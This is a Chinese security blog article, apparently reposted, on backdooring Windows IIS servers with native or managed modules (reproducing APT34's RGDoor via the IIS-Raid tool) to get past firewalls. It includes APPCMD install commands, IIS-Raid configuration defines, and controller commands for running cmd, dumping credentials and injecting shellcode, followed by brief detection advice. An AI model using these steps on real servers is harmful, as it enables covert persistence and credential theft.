服务器修改iis需要通过防火墙吗,利用IIS的模块功能绕过防火墙

dd2dd47034cf4de07e98618900fec124.png

2f4d6563e403363355bb543f175d2493.png

0x00 前言

在之前的文章曾介绍了如下问题的解决方法:

Windows服务器开启了IIS服务,防火墙仅允许80或443端口进行通信,那么如何在不使用webshell的前提下,实现对该服务器的远程管理?更进一步,如果只有低权限,有没有办法呢?

本文将介绍以上问题的另一种解决方法:利用IIS的模块功能绕过防火墙。

2f4d6563e403363355bb543f175d2493.png

0x01 简介

本文将要介绍以下内容:

·IIS的模块功能

·使用c++开发模块

·使用c#开发模块

·IIS-Raid测试

·利用分析

·防御检测

2f4d6563e403363355bb543f175d2493.png

0x02 IIS的模块功能

自IIS7开始,开发人员可以通过模块功能(Module)来扩展IIS的功能。

参考资料:

https://docs.microsoft.com/en-gb/iis/develop/runtime-extensibility/extending-web-server-functionality-in-net

如果我们通过模块功能可以读取HTTP请求的内容并控制HTTP回复的内容,完全可以利用模块功能实现对服务器的远程管理。

IIS的模块以DLL的形式存在,加载后不会存在单独的进程。

2018年,PaloAlto Unit42发现了APT34使用这种方式作为IIS后门,将其命名为RGDoor。

本文将复现RGDoor的部分功能,着重介绍这种利用方法的检测和识别。

2f4d6563e403363355bb543f175d2493.png

0x03 使用c++开发模块

参考资料:

https://docs.microsoft.com/en-gb/iis/develop/runtime-extensibility/develop-a-native-cc-module-for-iis

IIS 7.0及更高版本允许通过以两种方式开发的模块来扩展服务器:

·托管模块(Managed Module),使用托管代码(managed code)和ASP.NET服务器可扩展性API

·本机模块(Native Module),使用本机代码(native code)和IIS本机服务器可扩展性API

参考资料中介绍了本机模块(Native Module)的使用方法

需要注意以下问题:

·可以使用Visual Studio进行开发

·DLL需要包含导出函数RegisterModule

·使用CHttpModule作为模块类继承的实现

·使用IHttpModuleFactory接口创建模块实例

1.模块开发

具体的实现代码可以参考IIS-Raid,地址如下:

https://github.com/0x09AL/IIS-Raid

代码细节可参考:

https://www.mdsec.co.uk/2020/02/iis-raid-backdooring-iis-using-native-modules/

IIS-Raid在RegisterModule函数注册了RQ_BEGIN_REQUEST和RQ_SEND_RESPONSE两个事件用来处理请求和响应。

2.模块注册

可选择以下三种方法:

(1)使用APPCMD.EXE命令行工具

(2)使用IIS Administration Tool进行界面操作

(3)修改配置文件applicationHost.config

注:在0x05中会演示方法1和方法2

2f4d6563e403363355bb543f175d2493.png

0x04 使用c#开发模块

参考资料:

https://docs.microsoft.com/en-gb/iis/develop/runtime-extensibility/developing-a-module-using-net

IIS 7.0及更高版本允许通过以两种方式开发的模块来扩展服务器:

·托管模块(Managed Module),使用托管代码(managed code)和ASP.NET服务器可扩展性API

·本机模块(Native Module),使用本机代码(native code)和IIS本机服务器可扩展性API

参考资料中介绍了托管模块(Managed Module)的使用方法

需要注意以下问题:

·可以使用Visual Studio进行开发

·是一个.NET类

·使用System.Web.IHttpModule接口

1.模块开发

具体的实现代码可以参考IIS_backdoor,地址如下:

https://github.com/WBGlIl/IIS_backdoor

代码细节可参考:

https://mp.weixin.qq.com/s/z1d3yvp14GWakyonTh_b8A

2.模块注册

可选择以下三种方法:

(1)使用APPCMD.EXE命令行工具

(2)使用IIS Administration Tool进行界面操作

(3)修改配置文件web.config

具体的使用方法还可以参考以下资料:

https://docs.microsoft.com/en-gb/iis/develop/runtime-extensibility/developing-iis-modules-and-handlers-with-the-net-framework

https://docs.microsoft.com/en-us/previous-versions/aspnet/ms227673(v=vs.100)

2f4d6563e403363355bb543f175d2493.png

0x05 IIS-Raid测试

测试系统:

Windows Server 2012r2 x64(需要获得管理员权限)

IIS-Raid地址如下:

https://github.com/0x09AL/IIS-Raid

使用Visual Studio编译生成IIS-Backdoor.dll

1.后门安装

可以选择以下两种方法:

(1)使用APPCMD.EXE命令行工具

查看已安装模块的命令如下:

C:\Windows\system32\inetsrv\APPCMD.EXE list module

如下图:

27d34818659a135414d8328ad08bb128.png

安装模块的命令如下:

C:\Windows\system32\inetsrv\APPCMD.EXE install module /name:test /image:"c:\test\IIS-Backdoor.dll" /add:true

删除模块的命令如下:

C:\Windows\system32\inetsrv\APPCMD.EXE uninstall module test

(2)使用IIS Administration Tool进行界面操作

运行inetmgr.exe,进入IIS管理器

选择Modules,如下图:

3bfe6046e8d75bb03843bb432e7077e0.png

进入后选择Configure Native Modules...,接着选择Register...,如下图:

75d3e0600c051ab2e679b69346e74c80.png

填入Name和Path,如下图:

ed568d533d9beca12877e776d67ff4e5.png

添加成功后,在Modules页面显示新添加的内容,如下图:

3e4ec88c2f441f4614f0c7e23d52a75a.png

2.功能测试

IIS-Raid的配置文件保存在Functions.h中,包括以下内容:

#define COM_HEADER "X-Chrome-Variations"

#define PASS_FILE "C:\\Windows\\Temp\\creds.db"

#define PASSWORD "SIMPLEPASS"

COM_HEADER是用于执行后门与控制器之间的通信的标头名称

PASS_FILE是使用dump命令读取文件的位置

PASSWORD定义是将用于向后门进行身份验证的密码

(1)连接后门

命令如下:

python ./iis_controller.py --url http://192.168.18.138/ --password SIMPLEPASS

如下图:

78c8f8bc2fbcd19577ef36d03ff6c43a.png

执行cmd命令:

cmd whoami

测试如下图:

24f2ad65f89fdb5585773d49e3d891e3.png

执行dump命令:

dump

默认读取文件C:\\Windows\\Temp\\creds.db中的内容

测试如下图3-3

3823ff91caeef2b858babc7d9fbe0b15.png

执行shellcode:

inject shellcode.txt

shellcode.txt保存base64加密后的shellcode,加载方式为先创建进程C:\\Windows\\System32\\credwiz.exe,再进行注入

测试如下图:

d5142a6e34f46879f02e955a06876eb0.png

2f4d6563e403363355bb543f175d2493.png

0x06 利用分析

利用IIS模块作为后门具有以下特点:

·需要先获得IIS服务器的管理员权限

·payload为dll的形式

·通过安装模块的方式启动

·dll所在的进程为w3wp.exe

2f4d6563e403363355bb543f175d2493.png

0x07 防御检测

可以通过查看Modules的方式检测IIS是否被安装后门

具体有以下两种方法:

1.使用APPCMD.EXE命令行工具

查看已安装模块的命令如下:

C:\Windows\system32\inetsrv\APPCMD.EXE list module

2.使用IIS Administration Tool进行界面操作

运行inetmgr.exe,进入IIS管理器

选择Modules

另外需要注意的是只有当模块被成功加载后,进程w3wp.exe中才能找到模块相关的dll

2f4d6563e403363355bb543f175d2493.png

0x08 小结

本文对IIS的模块功能进行介绍,实现了利用IIS的模块功能绕过防火墙,测试开源工具IIS-Raid,分享防御检测的建议。

本文为 3gstudent 原创稿件,授权嘶吼独家发布

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值